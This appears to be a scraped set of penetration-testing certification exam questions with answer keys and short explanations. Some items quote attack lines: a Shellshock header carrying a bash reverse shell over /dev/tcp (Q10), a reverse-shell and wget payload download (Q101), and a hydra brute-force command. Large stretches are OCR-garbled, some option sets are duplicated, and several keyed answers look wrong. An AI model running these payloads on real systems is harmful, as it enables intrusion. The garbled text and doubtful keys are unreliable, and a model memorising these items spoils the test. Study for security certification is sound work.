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NEW QUESTION 1
A penetration tester was contracted to test a proprietary application for buffer overflow vulnerabilities. Which of the following tools would be BEST suited for this
task?

A. GDB

B. Burp Suite
C. SearchSpliot
D. Netcat

Answer: A

NEW QUESTION 2
Which of the following commands will allow a penetration tester to permit a shell script to be executed by the file owner?

A. chmod u+x script.sh
B. chmod u+e script.sh
C. chmod o+e script.sh
D. chmod o+x script.sh

Answer: A

NEW QUESTION 3
Which of the following BEST describe the OWASP Top 10? (Choose two.)

A. The most critical risks of web applications

B. A list of all the risks of web applications

C. The risks defined in order of importance

D. A web-application security standard

E. A risk-governance and compliance framework
F. A checklist of Apache vulnerabilities

Answer: AC

NEW QUESTION 4

A penetration tester ran an Nmap scan on an Internet-facing network device with the —F option and found a few open ports. To further enumerate, the tester ran
another scan using the following command: nmap —O —A —sS —p- 100.100.100.50

Nmap returned that all 65,535 ports were filtered. Which of the following MOST likely occurred on the second scan?

A. A firewall or IPS blocked the scan.

B. The penetration tester used unsupported flags.
C. The edge network device was disconnected.
D. The scan returned ICMP echo replies.

Answer: A

NEW QUESTION 5
Which of the following situations would require a penetration tester to notify the emergency contact for the engagement?

A. The team exploits a critical server within the organization.

B. The team exfiltrates PII or credit card data from the organization.
C. The team loses access to the network remotely.

D. The team discovers another actor on a system on the network.

Answer: D

NEW QUESTION 6
A penetration tester finds a PHP script used by a web application in an unprotected internal source code repository. After reviewing the code, the tester identifies
the following:
if{1sset (S posT*item’1)){
echo shell exec("/http/www/cgi-bin/queryitem “.$ POST[‘item’]);

}

Which of the following tools will help the tester prepare an attack for this scenario?

A. Hydra and crunch

B. Netcat and cURL

C. Burp Suite and DIRB

D. Nmap and OWASP ZAP

Answer: B

NEW QUESTION 7
During an internal penetration test against a company, a penetration tester was able to navigate to another part of the network and locate a folder containing
customer information such as addresses, phone numbers, and credit card numbers. To be PCI compliant, which of the following should the company have
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implemented to BEST protect this data?

A. Vulnerability scanning
B. Network segmentation
C. System hardening
D. Intrusion detection

Answer: B

NEW QUESTION 8
Which of the following tools would be BEST suited to perform a manual web application security assessment? (Choose two.)

A. OWASP ZAP
B. Nmap

C. Nessus

D. BeEF

E. Hydra

F. Burp Suite

Answer: AF

NEW QUESTION 9
A penetration tester conducted a vulnerability scan against a client’s critical servers and found the following:

Host name IF 03 Security updates

addcll.local 10.1.1.20 Windows Server 2012 FBE4581001, EB4585587, EB4586007

addc02 . local 10.1.1.21 Windows Server 2012 EB45BE007

dnsint.local 10.1.1..22 lindows Serwver 2012 KB4581001, KB45EB5587, EKB4556007, EB45Be01dQ
wwwint.local 10.1.1.23 Windows Server 2012 KB45B100]

Which of the following would be a recommendation for remediation?

A. Deploy a user training program

B. Implement a patch management plan

C. Utilize the secure software development life cycle
D. Configure access controls on each of the servers

Answer: B

NEW QUESTION 10
Which of the following describes the reason why a penetration tester would run the command sdelete mimikatz. * on a Windows server that the tester
compromised?

A. To remove hash-cracking registry entries

B. To remove the tester-created Mimikatz account
C. To remove tools from the server

D. To remove a reverse shell from the system

Answer: B

NEW QUESTION 10

A penetration tester discovers a vulnerable web server at 10.10.1.1. The tester then edits a Python script that sends a web exploit and comes across the following
code:

exploits = {*User-Agent”: “() { ignored;};/bin/bash —i>& /dev/tcp/127.0.0.1/9090 0>&1”", “Accept”: “text/html,application/xhtml+xml,application/xml”}

Which of the following edits should the tester make to the script to determine the user context in which the server is being run?

A. exploits = {*User-Agent”. “() { ignored;};/bin/bash —i id;whoami”, “Accept”: “text/html,application/xhtml+xml,application/xml"}

B. exploits = {*User-Agent”: “() { ignored;};/bin/bash —i>& find / -perm -4000", “Accept”: “text/html,application/xhtml+xml,application/xml"}

C. exploits = {*User-Agent”: “() { ignored;};/bin/sh —i ps —ef” 0>&1", “Accept”: “text/html,application/xhtml+xml,application/xml"}

D. exploits = {*User-Agent”: “() { ignored;};/bin/bash —i>& /dev/tcp/10.10.1.1/80” 0>&1”, “Accept”: “text/html,application/xhtml+xml,application/xml"}

Answer: A

NEW QUESTION 14

A penetration tester is able to capture the NTLM challenge-response traffic between a client and a server. Which of the following can be done with the pcap to gain
access to the server?

A. Perform vertical privilege escalation.

B. Replay the captured traffic to the server to recreate the session.

C. Use John the Ripper to crack the password.

D. Utilize a pass-the-hash attack.

Answer: D

NEW QUESTION 19
A penetration tester is conducting an authorized, physical penetration test to attempt to enter a client's building during non-business hours. Which of the following
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are MOST important for the penetration tester to have during the test? (Choose two.)

A. A handheld RF spectrum analyzer

B. A mask and personal protective equipment

C. Caution tape for marking off insecure areas

D. A dedicated point of contact at the client

E. The paperwork documenting the engagement

F. Knowledge of the building's normal business hours

Answer: DE

Explanation:
Always carry the contact information and any documents stating that you are approved to do this.

NEW QUESTION 21
The provision that defines the level of responsibility between the penetration tester and the client for preventing unauthorized disclosure is found in the:

A. NDA
B. SLA

C. MSA
D. SOW

Answer: A

Explanation:

The provision that defines the level of responsibility between the penetration tester and the client for preventing unauthorized disclosure is found in the NDA, which
stands for Non-Disclosure Agreement. The NDA is a legal agreement between two or more parties that outlines confidential material or knowledge that the parties
wish to share with one another, but with restrictions on access, use or disclosure of that information. The NDA is commonly used in the context of penetration
testing to protect the client's sensitive information that the tester may have access to during the engagement.

The NDA defines the terms of confidentiality and non-disclosure of information related to the engagement, including the responsibilities and obligations of both the
tester and the client to ensure that any information exchanged or obtained during the engagement is kept confidential and not disclosed to unauthorized parties.
This is particularly important in penetration testing, as the tester is granted access to the client's network and systems, and may uncover vulnerabilities or sensitive
information that should not be disclosed to unauthorized parties.

In summary, the NDA plays a crucial role in defining the level of responsibility between the penetration tester and the client for preventing unauthorized disclosure
of confidential information, and is an important legal instrument for protecting the client's sensitive information during a penetration testing engagement.

NEW QUESTION 25

A penetration tester gives the following command to a systems administrator to execute on one of the target servers:
rm -f lvar/lwww/html/G679h32gYu.php

Which of the following BEST explains why the penetration tester wants this command executed?

A. To trick the systems administrator into installing a rootkit
B. To close down a reverse shell

C. To remove a web shell after the penetration test

D. To delete credentials the tester created

Answer: C

NEW QUESTION 30
Which of the following would a company's hunt team be MOST interested in seeing in a final report?

A. Executive summary
B. Attack TTPs

C. Methodology

D. Scope details

Answer: B

NEW QUESTION 32
A penetration tester completed an assessment, removed all artifacts and accounts created during the test, and presented the findings to the client. Which of the
following happens NEXT?

A. The penetration tester conducts a retest.

B. The penetration tester deletes all scripts from the client machines.
C. The client applies patches to the systems.

D. The client clears system logs generated during the test.

Answer: C

NEW QUESTION 36

For a penetration test engagement, a security engineer decides to impersonate the IT help desk. The security engineer sends a phishing email containing an
urgent request for users to change their passwords and a link to https://example.com/index.html. The engineer has designed the attack so that once the users
enter the credentials, the index.html page takes the credentials and then forwards them to another server that the security engineer is controlling. Given the
following information:
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Which of the following lines of code should the security engineer add to make the attack successful?

A. window.location.= "https://evilcorp.com’
B. crossDomain: true

C. geturlparameter (‘'username')

D. redirectUrl = 'https://example.com’

Answer: B

NEW QUESTION 37

A penetration tester is conducting a penetration test. The tester obtains a root-level shell on a Linux server and discovers the following data in a file named
password.txt in the /home/svsacct directory:

U3VQZXIKM2NyZXQhCg==

Which of the following commands should the tester use NEXT to decode the contents of the file?

A. echo U3VQZXIKM2NyZXQhCg== | base64 €"d

B. tar zxvf password.txt

C. hydra €"l svsacct €'p U3VQZXIkM2NyZXQhCg== ssh://192.168.1.0/24
D. john --wordlist /usr/share/seclists/rockyou.txt password.txt

Answer: A

NEW QUESTION 40
A penetration tester who is conducting a vulnerability assessment discovers that ICMP is disabled on a network segment. Which of the following could be used for
a denial-of-service attack on the network segment?

A. Smurf

B. Ping flood

C. Fraggle

D. Ping of death

Answer: C

Explanation:
Fraggle attack is same as a Smurf attack but rather than ICMP, UDP protocol is used. The prevention of these attacks is almost identical to Fraggle attack.
Ref: https://www.okta.com/identity-101/fraggle-attack/

NEW QUESTION 43

During the scoping phase of an assessment, a client requested that any remote code exploits discovered during testing would be reported immediately so the
vulnerability could be fixed as soon as possible. The penetration tester did not agree with this request, and after testing began, the tester discovered a vulnerability
and gained internal access to the system. Additionally, this scenario led to a loss of confidential credit card data and a hole in the system. At the end of the test, the
penetration tester willfully failed to report this information and left the vulnerability in place. A few months later, the client was breached and credit card data was
stolen. After being notified about the breach, which of the following steps should the company take NEXT?

A. Deny that the vulnerability existed
B. Investigate the penetration tester.
C. Accept that the client was right.
D. Fire the penetration tester.

Answer: B

NEW QUESTION 45
During a penetration test, a tester is in close proximity to a corporate mobile device belonging to a network administrator that is broadcasting Bluetooth frames.
Which of the following is an example of a Bluesnarfing attack that the penetration tester can perform?

A. Sniff and then crack the WPS PIN on an associated WiFi device.
B. Dump the user address book on the device.

C. Break a connection between two Bluetooth devices.

D. Transmit text messages to the device.

Answer: B

Explanation:
Bluesnarfing is the unauthorized access of information from a wireless device through a Bluetooth connection, often between phones, desktops, laptops, and
PDAs. This allows access to calendars, contact lists, emails and text messages, and on some phones, users can copy pictures and private videos.

NEW QUESTION 49
After gaining access to a Linux system with a non-privileged account, a penetration tester identifies the following file:
- AT W IWY 1 roo! reot 15 Mary s 2020 [fscripts/daily log bhack

Which of the following actions should the tester perform FIRST?
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A. Change the file permissions.
B. Use privilege escalation.

C. Cover tracks.

D. Start a reverse shell.

Answer: B

NEW QUESTION 54
Which of the following provides a matrix of common tactics and techniques used by attackers along with recommended mitigations?

A. NIST SP 800-53

B. OWASP Top 10

C. MITRE ATT&CK framework
D. PTES technical guidelines

Answer: C

NEW QUESTION 59
A security firm is discussing the results of a penetration test with the client. Based on the findings, the client wants to focus the remaining time on a critical network
segment. Which of the following BEST describes the action taking place?

A. Maximizing the likelihood of finding vulnerabilities
B. Reprioritizing the goals/objectives

C. Eliminating the potential for false positives

D. Reducing the risk to the client environment

Answer: B

Explanation:

Goal Reprioritization Have the goals of the assessment changed? Has any new information been found that might affect the goal or desired end state? | would
also agree with A, because by goal reprioritization you are more likely to find vulnerabilities in this specific segment of critical network, but it is a side effect of goal
reprioritization.

NEW QUESTION 62
During an assessment, a penetration tester gathered OSINT for one of the IT systems administrators from the target company and managed to obtain valuable
information, including corporate email addresses. Which of the following techniques should the penetration tester perform NEXT?

A. Badge cloning
B. Watering-hole attack
C. Impersonation
D. Spear phishing

Answer: D

Explanation:

Spear phishing is a type of targeted attack where the attacker sends emails that appear to come from a legitimate source, often a company or someone familiar to
the target, with the goal of tricking the target into clicking on a malicious link or providing sensitive information. In this case, the penetration tester has already
gathered OSINT on the IT system administrator, so they can use this information to craft a highly targeted spear phishing attack to try and gain access to the target
system.

NEW QUESTION 63
A penetration tester ran the following commands on a Windows server:

Which of the following should the tester do AFTER delivering the final report?

A. Delete the scheduled batch job.

B. Close the reverse shell connection.

C. Downgrade the svsaccount permissions.
D. Remove the tester-created credentials.

Answer: D

NEW QUESTION 67

A penetration tester initiated the transfer of a large data set to verify a proof-of-concept attack as permitted by the ROE. The tester noticed the client's data
included PII, which is out of scope, and immediately stopped the transfer. Which of the following MOST likely explains the penetration tester's decision?

A. The tester had the situational awareness to stop the transfer.

B. The tester found evidence of prior compromise within the data set.

C. The tester completed the assigned part of the assessment workflow.

D. The tester reached the end of the assessment time frame.

Answer: A
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NEW QUESTION 70

A company hired a penetration-testing team to review the cyber-physical systems in a manufacturing plant.

The team immediately discovered the supervisory systems and PLCs are both connected to the company intranet. Which of the following assumptions, if made by
the penetration-testing team, is MOST likely to be

valid?

A. PLCs will not act upon commands injected over the network.

B. Supervisors and controllers are on a separate virtual network by default.
C. Controllers will not validate the origin of commands.

D. Supervisory systems will detect a malicious injection of code/commands.

Answer: C

NEW QUESTION 71
A penetration tester has gained access to part of an internal network and wants to exploit on a different network segment. Using Scapy, the tester runs the
following command:
sendp (Ether () /dotlg(vlan=100) /dotg(vlan=50) /IP(dst="172.16.50.10")/ICMP())
Which of the following represents what the penetration tester is attempting to accomplish?

A. DNS cache poisoning
B. MAC spoofing
C. ARP poisoning
D. Double-tagging attack

Answer: D

Explanation:
https://scapy.readthedocs.io/en/latest/usage.html

NEW QUESTION 72
The following line-numbered Python code snippet is being used in reconnaissance:

Which of the following line numbers from the script MOST likely contributed to the script triggering a “probable port scan” alert in the organization’s IDS?

A. Line 01
B. Line 02
C. Line 07
D. Line 08

Answer: D

NEW QUESTION 76
Penetration-testing activities have concluded, and the initial findings have been reviewed with the client. Which of the following best describes the NEXT step in the
engagement?

A. Acceptance by the client and sign-off on the final report
B. Scheduling of follow-up actions and retesting

C. Attestation of findings and delivery of the report

D. Review of the lessons learned during the engagement

Answer: C

NEW QUESTION 80
When preparing for an engagement with an enterprise organization, which of the following is one of the MOST important items to develop fully prior to beginning
the penetration testing activities?

A. Clarify the statement of work.

B. Obtain an asset inventory from the client.
C. Interview all stakeholders.

D. Identify all third parties involved.
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Answer: A

NEW QUESTION 83
An assessor wants to use Nmap to help map out a stateful firewall rule set. Which of the following scans will the assessor MOST likely run?

A. nmap 192.168.0.1/24
B. nmap 192.168.0.1/24
C. nmap oG 192.168.0.1/24
D. nmap 192.168.0.1/24

Answer: A

NEW QUESTION 87
A penetration tester has found indicators that a privileged user's password might be the same on 30 different Linux systems. Which of the following tools can help
the tester identify the number of systems on which the password can be used?

A. Hydra

B. John the Ripper
C. Cain and Abel
D. Medusa

Answer: D

Explanation:

Both Hydra and Medusa can be used for that same purpose:

THC Hydra is a brute-force cracking tool for remote authentication services. It supports many protocols, including telnet, FTP, LDAP, SSH, SNMP, and others.
Medusa is a Parallel, Modular and Speedy method for brute-force which issued for remote

authentication. Following are the applications and protocols like modular design, Thread based parallel testing and flexible user input and protocols are AFP, CVS,
FTP, HTTP, IMAP etc.

NEW QUESTION 90
A security analyst needs to perform an on-path attack on BLE smart devices. Which of the following tools would be BEST suited to accomplish this task?

A. Wireshark
B. Gattacker
C. tcpdump
D. Netcat

Answer: B

Explanation:

The best tool for performing an on-path attack on BLE smart devices is Gattacker. Gattacker is a Bluetooth Low Energy (BLE) pentesting and fuzzing framework
specifically designed for on-path attacks. It allows security analysts to perform a variety of tasks, including man-in-the-middle attacks, passive and active scans,
fuzzing of BLE services, and more. Gattacker also provides an interactive command-line interface that makes it easy to interact with the target BLE device and
execute various commands.

NEW QUESTION 93
The following PowerShell snippet was extracted from a log of an attacker machine:
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1. sneg="192.368.1."

2. 5setipaddress ="192.1¢8.2."

3. function Test-Password {

4,1f (args[0] -eqg 'DummylZ345') |
5! EetEEn. 4

6. }

l.else |

8. Scat = 22, 25, 80, 443

9. return 0

10

i

12. Scracked = 0

13. crackedpd = [ 192, 168, 1, 2]
14,51 =

15, Da i

16. Stest = 'Dummy' + Si

17. Scracked = Test - Password Test
18, Si++

19. Scrackedp = ( 192, 1&8, 1, 1) + Scat
20, }

21.While (Scracked —-eqg 0)
22.Write—-Host " Password found : " Stest
23. Ssetipaddress = [ 192, 168, 1, 4]

A penetration tester would like to identify the presence of an array. Which of the following line numbers would define the array?

A. Line 8

B. Line 13
C. Line 19
D. Line 20

Answer: A

Explanation:

https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_arrays?view=powe

NEW QUESTION 97
A penetration tester performs the following command: curl —I —http2 https://www.comptia.org
Which of the following snippets of output will the tester MOST likely receive?

A. HTTE/2 200
x-frame—-opticons: SAMECRIGIN
x-xss-protectlon: 1; mode=block
®-content-type—options: noaniff
referrver-policy: strict-crigin
strict—transport—security: max—age=31536000; includeSubdcomains; preload
B. <ipocTYPE html>
<html lang="en">
“head>
<meta http-equiv="X-UA-Compatible” content="IE=edge,chrome=1" />
</head>
“body lang="en">
</body>
</html>
C. ¥ Dokal¥ Hebeived W kferd 2¥erage Speed Tims Time Tims Current
R R ~8EE Dload Upload Total Spent Left Speed
100 1698k 100 1698k 0 0 1566k O 0:00:01 0:00:01 __ ' 1565k
D R T r R RN A PR R A A TR R T A AR IR A A I T AT AFF T #3754 7#7] 1003
A. Option A
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B. Option B
C. Option C
D. Option D

Answer: A

NEW QUESTION 101
A penetration tester ran the following command on a staging server: python —m SimpleHTTPServer 9891
Which of the following commands could be used to download a file named exploit to a target machine for execution?

A. nc 10.10.51.50 9891 < exploit

B. powershell —exec bypass —f \\10.10.51.50\9891

C. bash —i >& /dev/tcp/10.10.51.50/9891 0&1>/exploit
D. wget 10.10.51.50:9891/exploit

Answer: D

NEW QUESTION 102

A penetration tester is testing a new version of a mobile application in a sandbox environment. To intercept and decrypt the traffic between the application and the
external API, the tester has created a private root CA and issued a certificate from it. Even though the tester installed the root CA into the trusted stone of the
smartphone used for the tests, the application shows an error indicating a certificate mismatch and does not connect to the server. Which of the following is the
MOST likely reason for the error?

A. TCP port 443 is not open on the firewall

B. The API server is using SSL instead of TLS

C. The tester is using an outdated version of the application
D. The application has the API certificate pinned.

Answer: D

NEW QUESTION 107
During a penetration test, a tester is able to change values in the URL from example.com/login.php?id=5 to example.com/login.php?id=10 and gain access to a
web application. Which of the following vulnerabilities has the penetration tester exploited?

A. Command injection

B. Broken authentication
C. Direct object reference
D. Cross-site scripting

Answer: C

Explanation:
Insecure direct object reference (IDOR) is a vulnerability where the developer of the application does not implement authorization features to verify that someone
accessing data on the site is allowed to access that data.

NEW QUESTION 112
A consultant just performed a SYN scan of all the open ports on a remote host and now needs to remotely identify the type of services that are running on the host.
Which of the following is an active reconnaissance tool that would be BEST to use to accomplish this task?

A. tcpdump
B. Snort

C. Nmap
D. Netstat
E. Fuzzer

Answer: C

NEW QUESTION 116
User credentials were captured from a database during an assessment and cracked using rainbow tables. Based on the ease of compromise, which of the
following algorithms was MOST likely used to store the passwords in the database?

A. MD5

B. bcrypt
C. SHA-1
D. PBKDF2

Answer: A

NEW QUESTION 118

A security company has been contracted to perform a scoped insider-threat assessment to try to gain access to the human resources server that houses PII and
salary data. The penetration testers have been given an internal network starting position.

Which of the following actions, if performed, would be ethical within the scope of the assessment?

A. Exploiting a configuration weakness in the SQL database

B. Intercepting outbound TLS traffic

C. Gaining access to hosts by injecting malware into the enterprise-wide update server
D. Leveraging a vulnerability on the internal CA to issue fraudulent client certificates
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E. Establishing and maintaining persistence on the domain controller

Answer: B

NEW QUESTION 121

You are a penetration tester reviewing a client’s website through a web browser. INSTRUCTIONS

Review all components of the website through the browser to determine if vulnerabilities are present. Remediate ONLY the highest vulnerability from either the
certificate, source, or cookies.

If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.

Secure System

User name

Password

View Certificate View Source View Cookies

Remediate

Certificate Remediate Source Remediate Cookies

Gerers [ etae [ Cortcaton ot

n Certificate Information

This certificate is intended for the following purpose(s):
* Ensures the dentity of a remote computer

* Refer to the certificabon authority's statement for detals,

Issued to: * COMpha. org
issued by: RapidSSL SHA256 CA

valid from 7/18/2016 to 7/19/2018

Learn more about perbificates
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Secure System
« C hips licomplia orglogin asprraewsource

<himi>

<haad>

<ie>Secure Login <>
<head>

<hody»

<mita

content="c2RmZGZnakHNzZmigbGdoc 2Rma2pnaGRzimpoZ GLvaW2aGRme29pYmp3ZXndWydmdpb2haZ Gd 1aW JoaGR1ZmZpZ2haZ DipYmhaZ HNme 291 Ymdoc 352 G 2271
brikbGig02.Job3VpY XNpZ GZubXM oGk miaHZ shiNhZGJua2N4dng 1aWdadNg YW ga2 mbGIT Y3Z222 JobGF 22w malXVicZGlidmusamF mbGhice 3VimZyBuc 2py 22hzZHVmal

dd3tmZ2hgZiRmZm 1 c2hmdWRzImZoZ 3U3c ndweWhmamAzZmZ2bnVaImS3cnVYnd 12X 02=="name="csrl-loken >

<gplacl>escnpl

document wride(™<OPTION value=1>"+document location href substrng{document locatan href mdexOf"=")+ 16+ “<OPTION>");
<lsenp<semcl>

< abgn="temer>

<form action="<c.url value='main do'>"method="post™>

<dw slybe="masgin-4op 200px masgin-boftom: 10ps ">

<span style="with 500px color biue, font-size: 30px font-weaght bokd, bordar-bolom 1 px solid blue ™>Complia Secure System Login</span®
<>

<dw style="margin-boflom 5p1. ">

<span shyle="width 100px ">Name</span>

<ungut shyke="wdth: 150px Type="1ax" name="nama" id="nama" value=">

<. gt shyle="width 1500 Type="10a1" name="name" i1="name" value="admin"->

<>

<dnr<span style="width 100px“>Password: </span><ingut styla="width: 150px "~ type="password™ name="Password" id="password” value=">
<1 <sean style="walth 100nx ">Password. </span><input styie="widlh 150" type="password” name="Password” if="password” value="passwird” —>

Secure System

& @  hitps.//comptia.orgfogin asprivewcookies

Name Value Domain Path | Expires/ _ Size | HTTP | Secure | SameSte
ASP NET Sessionld | hibedclse2ewvawidbdchydv wwwoeom.. |/ Session 41
__utma 36104370 911013732 15082668 | complian. |/ 2018-10-1... | 59
63.1508266963. 1508266063 1 -
ulmb 3670443707 9. 1508267988443 | comptiao. |/ 2017-10-1. 32
utme 36104370 compbao.__ | | Session 14
ulmt i B comptiao. |/ 2007101, |7
__utmy 35104370 |2=Account%e20Type= | comphag. |/ 20191041 . | 48
Not%20Dehned=1
__ulmz 36104370.1508266963 1. 1.ulme | comptiao. |/ 2018-04-1. 94
sr=googlefutmecn=(organic)|utm
C..
“Sp_id 0767 4aBABGOCGHTS 1. 1506266064 1 | comptiao. | / 2019101, | @
1508258018, 1508266964 81113
AT,
sp_ses 0767 ' compbao._ | / 2017-101..__ | 13

Secure System
3 (*  hiips icompba orglogin aspriremedialesource

1L <himi>

217 <hoad>

31 <ie>Secure Login </tfle>
a0 <haad>

5§ <body>

6 <mela

17 content="c2AmZGInakhzZmighGdoc 2RmalpnaGRzZmpol GZvaW2aGRme 29pYmp3ZxXindWvdm3pb2hzZ G 1aW JoaGR 12mZpZ 2heZDipYmhaZHNme 291 Ymdoc 305261 220
81" bkbGlg02Job3Vp Y XNpZGZubXM ToGtkZmiiaHZsb3NhZGJua4dn 1aWdiaINgYWVqa2mb G Y 32222 JobGF 22w maXViZ GZidmuamFmbGhie 3VmZyBuc 2pyZ2halHVmaG

917 d1d3NmZ2hqZHNmZmJ 1c2hmdWRzZmZ o2 3U3cndweWhmamRzZmZ 200 VzZmS3cnVYnZ 12X)2=="name="csr-loken"/>

10 <seci><sonpls

11 document write" <OPTION value=1>"+document locabon href substnng(document locaton href indexOI=")1+16)+ "</OPTION=");

1217 </senpt></select

137 <gw align="center™

141" <form action="<c ur valug="main do’> method="pos("

131" <dw style="margin-op. 200px margin-botlom 10px ™>

11;" <span style="width: 500pn color blue font-size. 30px font-weight bold border-botiom 1 px sobd blue,“>Comptia Secure System Login</span>
10 <ida>

181 <dw style="margm-bottom 5px >

197 <span style="width 100px.">*Name</span>

200 <inpud style="width. 1500 Type="ex" name="name" id="name" value=">

2107 e input shybe="wdth 1 50p0. Type="tex!" name="nama" id="name" value="admn"->

2 <dnt>

231 <dni><span style="wdth 100px ">Password: </span><input style="width-150px * type="password" name="Password” 1d="password” value=">
40 <1-dnr<scan style="width: 100ps "*Password. </span><inpul shyle="vwdth 150px " type="password™ name="Password” id="password” value="password” >
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Secure System

- (*  Miips iicomptia org/ogin aspx remediatecookies

Name Vaiue Doman | Paih | Expies) | Size | HTTP | Secure | SameSie
ASP.NET Sessionld | hibodcise2ewvawidbdchydy | wwweom | /| Session a0 | [ [T dewie
~ima 36104370 911013732, 15082660 | compliao |/ | 2019101 |59 | . T
63.1508266963.1508266963 1 )
uimo 361044370 7 0 1508267988443 | compiao_ |/ | 2017101 . |32 | © | | T deee
utme 36104370 compiao_ |/ | Session W 0 | 0 T dewis
__ utmt 1 comphao. |/ 2007101, |7 B f [ delete
i 36104370 ]2-AccourtS20Type= | compbao. |/ | 2019101 |48 | ~ | |- gelete
Not%20Defined=1 )
~umz 36104370 1508766063 1 1 ume | comptiac_ |/ | 2016041 | & B
sr=google|utmeen=(organic)jutm | E Plee
G .
~5p_ 10767 3aBAB56BMG1c 1508266064 1 | compliao |7 | 2010101 . | 99
1508258019 1508266964 81113 o | o |B
a7
5p_565.0767 : compiao_ |7 | 2017400 |1 [ F | | T dewte

Genersl | Detals | Cortcason path|

Drag and Drop Options

* Refer 19 the cerdheanon suthonty’s statement for detas. Step 1

Remove certificate from server
Generate a Certificate Signing Request
Submit CSR to the CA

Install re-issued certificate on the server

wmm

Thia certificate s mtended for the lollowng purpose(s)
» Ermures the dentity of a remote computer

Isswed to: * cOMpha org
Issued by: RapidSSL SHA256 CA Step 2

Vabd from 7/18/2016 to 7/19/2018

Step 3

Leam ere shout cicates Step 4

d

o ]

A. Mastered
B. Not Mastered

Answer: A

Explanation:
Graphical user interface Description automatically generated

NEW QUESTION 124
The following output is from reconnaissance on a public-facing banking website:
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Stars 2021-02-0ZF lB:Z24:58 --2> 162 . l6B.l.061443 (152.168.1.66) <<--
rDNES (1%2.188...68): centralbankwebservice,local
Service detactead: HTTP

TE#IT1INg protocols via sockets excep:t NPN+ALPN
25Llv: net offered (QKI
S5Lv: noet offerad (QK)
TLS . offezed (dep-ecated)
TLS 1.1 nes offmarad
TL5 1.2 not offered and downgraded tTe a weakear protacal
TLEH net offered and downgraded to a weaker protocol
NPMN/SPDY net offersd
ALPN/HTTF: not offered
TesTing ciphear CATHSJOI1&S
NULL ¢iphéers (no &nczypticon) not offered (QOK)
Anonymous NULL Ciphers (no authentication) not offsred (OK
Expocs ciphecs (w/2 ADH+NULL) not cffezed (OK)
LOW: &4 Bit + DES, RClZ;4 iw/e exporz) offered (NOT ok)
Triple DES Ciphers IDER offeread
Obsglete CBC ciphecs (AES, ARIA esc.) offered
Strong enccyprtion {(AEARD ciphers) not ollersd
e3ting robust (perfec:) foerward secrecy, {PIFS -- pmitting Hull Authentication/Encrypiion, :=DES, RC4
Ne ciphers suppocsting Forward Seczecy offered
TESTING S&IVEEX DPreI&ar&ncss
Has sarsvyar cipher order? no (NOT OK)
Negeti1atad protocol TLSwL

Negotiated cipher AESZSE-SHA (limited sense as client will pick)
Based on these results, which of the following attacks is MOST likely to succeed?

A. A birthday attack on 64-bit ciphers (Sweet32)

B. An attack that breaks RC4 encryption

C. An attack on a session ticket extension (Ticketbleed)

D. A Heartbleed attack

Answer: B

NEW QUESTION 126

Which of the following would MOST likely be included in the final report of a static application-security test that was written with a team of application developers as

the intended audience?

A. Executive summary of the penetration-testing methods used

B. Bill of materials including supplies, subcontracts, and costs incurred during assessment
C. Quantitative impact assessments given a successful software compromise

D. Code context for instances of unsafe type-casting operations

Answer: D

NEW QUESTION 129

During a penetration test, the domain names, IP ranges, hosts, and applications are defined in the:
A. SOW.

B. SLA.

C. ROE.

D. NDA

Answer: C

Explanation:

https://mainnerve.com/what-are-rules-of-engagement-in-pen-testing/#:~:text=The%20ROE%?20includes%20the

NEW QUESTION 131

A penetration tester is testing a new API for the company's existing services and is preparing the following script:

#!/binfpash

for each in GET POST PUT TRACE CONNECT OPTIONS;
"
e
g
- ¢ T - - 5
- g L sl - N ey f .,—F.—..—l—--.-.".- e il E AR L i i - S el el P |
i Lidw =2aC f l-jJ.r.A+.-.!.-|-'.-.:\--*Ahi-llu-.-l:\.u-a.a-..r-..l'-..--'..-.!.-- | b b Jihl'li'\_,-_.-:.u-a.:l-i--'- e

Which of the following would the test discover?
A. Default web configurations

B. Open web ports on a host

C. Supported HTTP methods

D. Listening web servers in a domain

Answer: C
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NEW QUESTION 136
A Chief Information Security Officer wants a penetration tester to evaluate the security awareness level of the company’s employees.
Which of the following tools can help the tester achieve this goal?

A. Metasploit
B. Hydra

C. SET

D. WPScan

Answer: A

NEW QUESTION 141

During a web application test, a penetration tester was able to navigate to https://company.com and view all links on the web page. After manually reviewing the
pages, the tester used a web scanner to automate the search for vulnerabilities. When returning to the web application, the following message appeared in the
browser: unauthorized to view this page. Which of the following BEST explains what occurred?

A. The SSL certificates were invalid.
B. The tester IP was blocked.

C. The scanner crashed the system.
D. The web page was not found.

Answer: B

NEW QUESTION 146
A consulting company is completing the ROE during scoping. Which of the following should be included in the ROE?

A. Cost ofthe assessment
B. Report distribution

C. Testing restrictions

D. Liability

Answer: B

NEW QUESTION 148

A Chief Information Security Officer wants a penetration tester to evaluate whether a recently installed firewall is protecting a subnetwork on which many decades-
old legacy systems are connected. The penetration tester decides to run an OS discovery and a full port scan to identify all the systems and any potential
vulnerability. Which of the following should the penetration tester consider BEFORE running a scan?

A. The timing of the scan

B. The bandwidth limitations

C. The inventory of assets and versions
D. The type of scan

Answer: C

NEW QUESTION 149
When planning a penetration-testing effort, clearly expressing the rules surrounding the optimal time of day for test execution is important because:

A. security compliance regulations or laws may be violated.

B. testing can make detecting actual APT more challenging.

C. testing adds to the workload of defensive cyber- and threat-hunting teams.
D. business and network operations may be impacted.

Answer: D

NEW QUESTION 153

A penetration tester recently performed a social-engineering attack in which the tester found an employee of the target company at a local coffee shop and over
time built a relationship with the employee. On the employee’s birthday, the tester gave the employee an external hard drive as a gift. Which of the following social-
engineering attacks was the tester utilizing?

A. Phishing

B. Tailgating

C. Baiting

D. Shoulder surfing

Answer: C

NEW QUESTION 155

A penetration tester has been given an assignment to attack a series of targets in the 192.168.1.0/24 range, triggering as few alarms and countermeasures as
possible.

Which of the following Nmap scan syntaxes would BEST accomplish this objective?

A. nmap -sT -vvv -0 192.168.1.2/24 -PO
B. nmap -sV 192.168.1.2/24 -PO

C. nmap -sA -v -0 192.168.1.2/24

D. nmap -sS -0 192.168.1.2/24 -T1
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Answer: D

NEW QUESTION 160

A penetration tester runs a scan against a server and obtains the following output: 21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)

| 03-12-20 09:23AM 331 index.aspx

| ftp-syst:

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows Server 2012 Std 3389/tcp open ssl/ms-wbt-server
| rdp-ntim-info:

| Target Name: WEB3

| NetBIOS_Computer_Name: WEB3

| Product_Version: 6.3.9600

|_ System_Time: 2021-01-15T11:32:06+00:00

